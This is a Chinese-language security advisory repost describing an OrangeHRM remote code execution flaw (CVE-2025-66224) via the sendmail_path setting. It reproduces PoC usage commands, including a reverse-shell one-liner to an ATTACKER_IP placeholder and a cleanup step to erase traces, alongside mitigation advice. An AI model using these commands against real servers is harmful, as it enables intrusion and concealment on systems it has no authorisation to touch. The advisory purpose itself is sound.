文章总结: 本文披露了OrangeHRM5.0至5.7版本的远程代码执行漏洞CVE-2025-66224,该漏洞源于sendmail_path参数缺乏过滤。攻击者可向MySQL数据库注入恶意载荷并通过API触发命令执行,进而控制服务器。文章提供了漏洞利用原理及缓解建议,强调需加强输入验证及及时修补系统。 综合评分: 75 文章分类: 漏洞分析,漏洞POC,漏洞预警,WEB安全,渗透测试
OrangeHRM远程代码执行漏洞 – CVE-2025-66224
Ots安全
2025年12月22日 17:13 广东
威胁简报
恶意软件
漏洞攻击
📋 描述
此概念验证 (PoC) 演示了 OrangeHRM 中通过sendmail_path配置参数中的命令注入实现的远程代码执行 (RCE) 漏洞。
该漏洞利用原理如下:
- 将恶意载荷注入 MySQL 数据库(hs_hr_config表)
- 通过电子邮件配置 API 端点触发有效负载执行
- 自动恢复原始值以清除痕迹
🎯受影响版本
- OrangeHRM 版本 5.0 至 5.7
⚠️免责声明
本工具仅供教育和授权安全测试用途。未经授权访问计算机系统属于违法行为。对于因使用本工具而造成的任何误用或损害,作者概不负责。
🔧 要求
pip install requests mysql-connector-python
📦 安装
git clone https://github.com/richard-natan/PoC-CVE-2025-66224
cd PoC-CVE-2025-66224
pip install -r requirements.txt
🚀 用法
步骤 1:获取会话 Cookie
- 通过网页界面登录 OrangeHRM
- 打开浏览器开发者工具(F12)
- 依次点击“存储” > “Cookie”(Firefox)或“应用程序” > “Cookie”(Chrome)
- 复制_orangehrmcookie 值
步骤 2:运行漏洞利用程序
python3 exploit.py -t <TARGET_URL> -c<COOKIE_VALUE> \
-dh <MYSQL_HOST> -du <MYSQL_USER> -dp<MYSQL_PASSWORD> \
-cmd '<COMMAND_TO_EXECUTE>'
示例 – 简单命令
python3 exploit.py -t http://127.0.0.1:8080/ \
-c"g58tak8pbnheseatv6dggvi31i" \
-dh 172.18.0.2 \
-du orange_user \
-dp orange_password \
-cmd "touch /tmp/pwned"
示例 – 反向shell
# Start listener on attacker machine
nc -lvnp 4444
# Execute exploit with reverseshell payload
python3 exploit.py -t http://target.com/ \
-c"your_session_cookie" \
-dh 172.18.0.2 \
-du orange_user \
-dp orange_password \
-cmd 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
🔍工作原理
漏洞详情
该漏洞存在于电子邮件配置功能中,sendmail_path参数存储在数据库中,之后未经适当清理就被执行。
开发流程:
1. Authenticate to OrangeHRM (obtain valid session cookie)
↓
2. Connect to MySQL database
↓
3. Locate hs_hr_config table
↓
4. Update email_config.sendmail_path value:
FROM: /usr/sbin/sendmail -bs
TO: /usr/sbin/sendmail -bs && <PAYLOAD> #
↓
5.Trigger execution via API:
PUT /web/index.php/api/v2/admin/email-configuration
↓
6. Command executes onserver
↓
7.Restore original value (cleanup)
技术细节
易受攻击的参数: email_config.sendmail_path
数据库:
- Table:hs_hr_config
- Column:name=’email_config.sendmail_path’
- Column:value= sendmail 命令路径
触发端点:
PUT /web/index.php/api/v2/admin/email-configuration
🛡️ 缓解措施
- 输入验证:sendmail_path对参数实施严格验证
- 转义:在执行 shell 命令之前正确转义命令。
- 最小权限原则:以最小权限运行 Web 服务器
- 更新:请为 OrangeHRM 应用最新的安全补丁
END
公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址
排版 编辑 | Ots 小安
采集 翻译 | Ots Ai牛马
公众号 | AnQuan7 (Ots安全)
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Ots安全 《OrangeHRM远程代码执行漏洞 – CVE-2025-66224》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论